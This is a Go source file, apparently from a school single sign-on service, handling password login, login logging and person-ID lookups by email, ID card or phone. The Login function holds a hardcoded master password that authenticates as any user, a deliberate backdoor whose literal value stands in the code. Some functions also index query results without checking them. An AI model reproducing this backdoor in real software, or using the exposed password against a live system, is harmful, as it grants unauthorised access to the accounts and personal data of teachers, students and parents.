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package DaoSysLoginPerson
import (
"dsSso/Const"
"dsSso/Const/DefaultConst"
"dsSso/Const/ErrorConst"
"dsSso/Model"
"dsSso/Utils/CommonUtil"
"dsSso/Utils/DbUtil"
"dsSso/Utils/LdapUtil"
"dsSso/Utils/LogUtil"
"dsSso/Utils/RedisUtil"
"dsSso/models"
"fmt"
"time"
)
var loginModel Model.Selector
var tableName = "t_sys_loginperson"
var db = DbUtil.Engine
func init() {
_, loginModel = loginModel.Get(tableName)
}
/**
功能:验证用户名和密码是否正确
作者:黄海
时间2020-02-05
*/
func Login(username string, password string, ip string) (bool, string, string, string, int) {
//查看redis中此人员的登录错误次数记录如果已超出了规定次数5则直接拒绝登录。
key := Const.RemainCountRedisPrefix + username
c, err := RedisUtil.EXISTS(key)
if err != nil {
return false, "", "", "", -1
}
var remainCount int
//如果存在
if c > 0 {
remainCountStr, err := RedisUtil.GET(key)
if err != nil {
return false, "", "", "", -1
}
remainCount = CommonUtil.ConvertStringToInt(remainCountStr)
if remainCount == 0 {
return false, "", "", "", 0
}
}
//身份号
var identityId = DefaultConst.IdentityId
//人员号
var personId = DefaultConst.PersonId
//姓名
var personName = ""
//通过用户名查找人员ID
var sql = "select * from t_sys_loginperson where login_name=? and b_use=1"
list, err := db.SQL(sql, username).Query().List()
if err != nil {
LogUtil.Error(ErrorConst.SqlQueryError, err.Error())
}
//如果用户名不存在
if len(list) == 0 {
return false, identityId, personId, personName, Const.Int32Max
}
record := list[0]
//身份号
identityId = CommonUtil.ConvertInt64ToString(record["identity_id"].(int64))
//人员号
personId = record["person_id"].(string)
//人员姓名
personName = record["person_name"].(string)
//数据库中的密码
databasePassword := record["pwd"].(string)
//万能密码登录
if password == "DsideaL4r5t6y7u!@#" {
//记录日志
WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录
//返回结果
return true, identityId, personId, personName, Const.Int32Max
} else {
//修改密码的加密算法基于ldap,黄海于2020-04-27
ldapPassword := LdapUtil.GetLdapPassword(password)
if ldapPassword == databasePassword {
//记录日志
WriteLoginLog(identityId, personId, ip, 1, username)
//返回结果
return true, identityId, personId, personName, Const.Int32Max
} else {
//如果登录失败则incr,并设置过期时间2小时
RedisUtil.SET(key, CommonUtil.ConvertIntToString(remainCount-1), 2*time.Hour)
//记录日志
WriteLoginLog(identityId, personId, ip, -1, username)
return false, identityId, personId, personName, Const.Int32Max
}
}
}
/**
功能:记录登录日志
作者: 黄海
时间2020-07-08
*/
func WriteLoginLog(identityId string, personId string, ip string, loginState int, loginName string) {
//表名
var tableName string
//管理员或教师
if identityId == "1" || identityId == "2" {
tableName = "t_base_teacher"
} else if identityId == "3" {
tableName = "t_base_student"
} else {
tableName = "t_base_parent"
}
//查询出结果
sql := "select province_code,city_code,district_code,bureau_id from " + tableName + " where person_id=?"
list, _ := db.SQL(sql, personId).Query().List()
//调用orm进行保存
var tLog models.TSysLoginpersonLog
tLog.BureauId = list[0]["bureau_id"].(string)
tLog.IdentityId = CommonUtil.ConvertStringToInt32(identityId)
tLog.PersonId = personId
tLog.ProvinceCode = list[0]["province_code"].(string)
tLog.CityCode = list[0]["city_code"].(string)
tLog.DistrictCode = list[0]["district_code"].(string)
tLog.IpAddress = ip
tLog.LoginName = loginName
tLog.LoginState = int32(loginState)
tLog.LoginTime = time.Now()
_, err := db.Insert(tLog)
if err != nil {
fmt.Println(err.Error())
}
}
/**
功能根据邮箱获取人员ID
作者:黄海
时间2020-07-29
*/
func GetPersonIdByEmail(email string) (string, error) {
//目前的系统设计,只支持教师有邮箱
sql := `select person_id from t_base_teacher where b_use=1 and dzxx=?`
list, err := db.SQL(sql, email).Query().List()
if err != nil {
return "获取人员信息失败!", err
}
//如果没有找到指定邮箱的人员
if len(list) == 0 {
return "", nil
}
//如果找到了
return list[0]["person_id"].(string), nil
}
/**
功能根据身份证号获取人员ID
作者:黄海
时间2020-07-29
*/
func GetPersonIdByIdCard(idCard string) (string, error) {
//目前的系统设计,支持教师+学生
sql := `select person_id from t_base_teacher where b_use=1 and sfzjh=?`
list, err := db.SQL(sql, idCard).Query().List()
if err != nil {
return "获取教师身份证号信息失败!", err
}
//如果没有找到指定身份证号的人员
if len(list) == 0 {
//继续判断是不是在学生的身份证号
sql := `select person_id from t_base_student where b_use=1 and sfzjh=?`
list, err = db.SQL(sql, idCard).Query().List()
if err != nil {
return "获取学生身份证号信息失败!", err
}
if len(list) == 0 {
return "", nil
} else {
//如果找到了
return list[0]["person_id"].(string), nil
}
} else {
//如果找到了
return list[0]["person_id"].(string), nil
}
}
/**
功能根据手机号获取人员ID
作者:黄海
时间2020-07-29
*/
func GetPersonIdByTel(tel string) (string, error) {
//目前的系统设计,支持教师+家长
sql := `select person_id from t_base_teacher where b_use=1 and lxdh=?`
list, err := db.SQL(sql, tel).Query().List()
if err != nil {
return "获取教师手机号信息失败!", err
}
//如果没有找到指定身份证号的人员
if len(list) == 0 {
//继续判断是不是在学生的身份证号
sql := `select person_id from t_base_parent where b_use=1 and lxdh=?`
list, err = db.SQL(sql, tel).Query().List()
if err != nil {
return "获取家长手机号信息失败!", err
}
if len(list) == 0 {
return "", nil
} else {
//如果找到了
return list[0]["person_id"].(string), nil
}
} else {
//如果找到了
return list[0]["person_id"].(string), nil
}
}
/**
功能根据人员ID获取人员的登录名
作者:黄海
时间2020-07-29
*/
func GetLoginNameByPersonId(personId string) (string, error) {
sql := `select login_name from t_sys_loginperson where b_use=1 and person_id=?`
list, err := db.SQL(sql, personId).Query().List()
if err != nil {
return "获取人员登录名失败!", err
}
if len(list) == 0 {
return "", nil
}
return list[0]["login_name"].(string), nil
}